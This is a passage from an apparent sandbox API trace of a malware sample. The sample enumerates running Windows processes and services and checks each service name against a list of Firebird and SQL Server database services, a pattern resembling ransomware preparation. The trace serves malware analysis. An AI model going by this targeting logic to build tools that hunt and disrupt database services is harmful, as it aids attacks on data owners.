[0190.760] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0190.760] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0190.760] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0190.760] lstrlenW (lpString="Power") returned 5 [0190.760] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0190.760] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0190.760] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0190.760] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0190.760] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0190.760] lstrlenW (lpString="ProfSvc") returned 7 [0190.760] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0190.760] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0190.760] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0190.760] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0190.760] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0190.760] lstrlenW (lpString="RpcEptMapper") returned 12 [0190.760] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0190.760] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0190.761] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0190.761] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0190.761] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0190.761] lstrlenW (lpString="RpcSs") returned 5 [0190.761] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0190.761] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0190.761] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0190.761] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0190.761] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0190.761] lstrlenW (lpString="SamSs") returned 5 [0190.761] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0190.761] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0190.761] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0190.761] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0190.761] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0190.761] lstrlenW (lpString="Schedule") returned 8 [0190.761] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0190.761] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0190.761] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0190.761] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0190.761] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0190.761] lstrlenW (lpString="SecurityHealthService") returned 21 [0190.761] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0190.761] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0190.761] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0190.761] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0190.762] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0190.762] lstrlenW (lpString="SENS") returned 4 [0190.762] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0190.762] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0190.762] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0190.762] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0190.762] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0190.762] lstrlenW (lpString="ShellHWDetection") returned 16 [0190.762] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0190.762] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0190.762] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0190.762] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0190.762] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0190.762] lstrlenW (lpString="Spooler") returned 7 [0190.762] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0190.762] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0190.762] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0190.762] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0190.762] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0190.762] lstrlenW (lpString="StateRepository") returned 15 [0190.762] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0190.762] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0190.762] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0190.762] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0190.762] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0190.762] lstrlenW (lpString="SysMain") returned 7 [0190.762] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0190.762] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0190.763] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0190.763] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0190.763] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0190.763] lstrlenW (lpString="SystemEventsBroker") returned 18 [0190.763] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0190.763] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0190.763] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0190.763] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0190.763] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0190.763] lstrlenW (lpString="Themes") returned 6 [0190.763] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0190.763] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0190.763] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0190.763] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0190.763] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0190.763] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0190.763] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0190.763] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0190.763] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0190.763] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0190.763] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x6c1758 | out: hHeap=0x660000) returned 1 [0190.764] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2f4 [0190.929] Process32FirstW (in: hSnapshot=0x2f4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0190.930] Process32NextW (in: hSnapshot=0x2f4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0190.930] lstrlenW (lpString="System") returned 6 [0190.931] Process32NextW (in: hSnapshot=0x2f4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0190.931] lstrlenW (lpString="smss.exe") returned 8 [0190.931] Process32NextW (in: hSnapshot=0x2f4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0190.932] lstrlenW (lpString="csrss.exe") returned 9 [0190.932] Process32NextW (in: hSnapshot=0x2f4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0190.932] lstrlenW (lpString="wininit.exe") returned 11 [0190.932] Process32NextW (in: hSnapshot=0x2f4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0190.933] lstrlenW (lpString="csrss.exe") returned 9 [0190.933] Process32NextW (in: hSnapshot=0x2f4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0190.934] lstrlenW (lpString="winlogon.exe") returned 12 [0190.934] Process32NextW (in: hSnapshot=0x2f4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x240, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0190.934] lstrlenW (lpString="services.exe") returned 12 [0190.934] Process32NextW (in: hSnapshot=0x2f4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0190.935] lstrlenW (lpString="lsass.exe") returned 9 [0190.935] Process32NextW (in: hSnapshot=0x2f4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x29c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x224, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0190.936] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0190.936] Process32NextW (in: hSnapshot=0x2f4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0190.936] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0190.936] Process32NextW (in: hSnapshot=0x2f4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0190.937] lstrlenW (lpString="svchost.exe") returned 11 [0190.937] Process32NextW (in: hSnapshot=0x2f4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0190.937] lstrlenW (lpString="svchost.exe") returned 11 [0190.937] Process32NextW (in: hSnapshot=0x2f4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x224, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0190.938] lstrlenW (lpString="dwm.exe") returned 7 [0190.938] Process32NextW (in: hSnapshot=0x2f4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3f, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0190.939] lstrlenW (lpString="svchost.exe") returned 11 [0190.939] Process32NextW (in: hSnapshot=0x2f4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0190.939] lstrlenW (lpString="svchost.exe") returned 11 [0190.939] Process32NextW (in: hSnapshot=0x2f4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0190.940] lstrlenW (lpString="svchost.exe") returned 11 [0190.940] Process32NextW (in: hSnapshot=0x2f4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0190.941] lstrlenW (lpString="svchost.exe") returned 11 [0190.941] Process32NextW (in: hSnapshot=0x2f4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x15c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0190.942] lstrlenW (lpString="svchost.exe") returned 11 [0190.942] Process32NextW (in: hSnapshot=0x2f4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x440, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0190.942] lstrlenW (lpString="svchost.exe") returned 11 [0190.942] Process32NextW (in: hSnapshot=0x2f4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0190.943] lstrlenW (lpString="svchost.exe") returned 11 [0190.943] Process32NextW (in: hSnapshot=0x2f4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x508, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0190.943] lstrlenW (lpString="svchost.exe") returned 11 [0190.943] Process32NextW (in: hSnapshot=0x2f4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0190.944] lstrlenW (lpString="svchost.exe") returned 11 [0190.944] Process32NextW (in: hSnapshot=0x2f4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x57c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0190.945] lstrlenW (lpString="svchost.exe") returned 11 [0190.945] Process32NextW (in: hSnapshot=0x2f4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0190.945] lstrlenW (lpString="spoolsv.exe") returned 11 [0190.945] Process32NextW (in: hSnapshot=0x2f4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x690, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0190.946] lstrlenW (lpString="svchost.exe") returned 11 [0190.946] Process32NextW (in: hSnapshot=0x2f4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x4dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0190.946] lstrlenW (lpString="audiodg.exe") returned 11 [0190.947] Process32NextW (in: hSnapshot=0x2f4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x3b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0190.947] lstrlenW (lpString="sihost.exe") returned 10 [0190.947] Process32NextW (in: hSnapshot=0x2f4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x70c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0190.948] lstrlenW (lpString="svchost.exe") returned 11 [0190.948] Process32NextW (in: hSnapshot=0x2f4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0190.948] lstrlenW (lpString="taskhostw.exe") returned 13 [0190.948] Process32NextW (in: hSnapshot=0x2f4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0190.949] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0190.949] Process32NextW (in: hSnapshot=0x2f4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x410, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0190.950] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0190.950] Process32NextW (in: hSnapshot=0x2f4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0190.950] lstrlenW (lpString="Memory Compression") returned 18 [0190.950] Process32NextW (in: hSnapshot=0x2f4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x33, th32ParentProcessID=0x98c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0190.951] lstrlenW (lpString="explorer.exe") returned 12 [0190.951] Process32NextW (in: hSnapshot=0x2f4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0190.951] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0190.952] Process32NextW (in: hSnapshot=0x2f4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0190.952] lstrlenW (lpString="SearchUI.exe") returned 12 [0190.952] Process32NextW (in: hSnapshot=0x2f4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0190.953] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0190.953] Process32NextW (in: hSnapshot=0x2f4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0190.953] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0190.953] Process32NextW (in: hSnapshot=0x2f4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x9a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe")) returned 1 [0190.954] lstrlenW (lpString="dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe") returned 58 [0190.954] Process32NextW (in: hSnapshot=0x2f4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0190.955] lstrlenW (lpString="dllhost.exe") returned 11 [0190.955] Process32NextW (in: hSnapshot=0x2f4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfa8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0xdb0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe")) returned 1 [0190.955] lstrlenW (lpString="dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe") returned 58 [0190.955] Process32NextW (in: hSnapshot=0x2f4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xdb0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0190.956] lstrlenW (lpString="cmd.exe") returned 7 [0190.956] Process32NextW (in: hSnapshot=0x2f4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xfa8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0190.957] lstrlenW (lpString="cmd.exe") returned 7 [0190.957] Process32NextW (in: hSnapshot=0x2f4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xfb4, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0190.957] lstrlenW (lpString="conhost.exe") returned 11 [0190.957] Process32NextW (in: hSnapshot=0x2f4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfdc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xfbc, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0190.958] lstrlenW (lpString="conhost.exe") returned 11 [0190.958] Process32NextW (in: hSnapshot=0x2f4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfdc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xfbc, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0190.958] CloseHandle (hObject=0x2f4) returned 1 [0190.959] Sleep (dwMilliseconds=0x1f4) [0191.871] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x69d878 [0191.872] EnumServicesStatusExW (in: hSCManager=0x69d878, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x248ff3c, lpServicesReturned=0x248ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x248ff3c, lpServicesReturned=0x248ff54, lpResumeHandle=0x0) returned 0 [0191.872] GetLastError () returned 0xea [0191.873] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x1bc4) returned 0x3e803c8 [0191.873] EnumServicesStatusExW (in: hSCManager=0x69d878, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x3e803c8, cbBufSize=0x1bc4, pcbBytesNeeded=0x248ff3c, lpServicesReturned=0x248ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x3e803c8, pcbBytesNeeded=0x248ff3c, lpServicesReturned=0x248ff54, lpResumeHandle=0x0) returned 1 [0191.874] CloseServiceHandle (hSCObject=0x69d878) returned 1 [0191.874] lstrlenW (lpString="Appinfo") returned 7 [0191.874] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0191.874] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0191.874] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0191.874] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0191.874] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0191.874] lstrlenW (lpString="AppXSvc") returned 7 [0191.874] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0191.874] lstrcmpiW 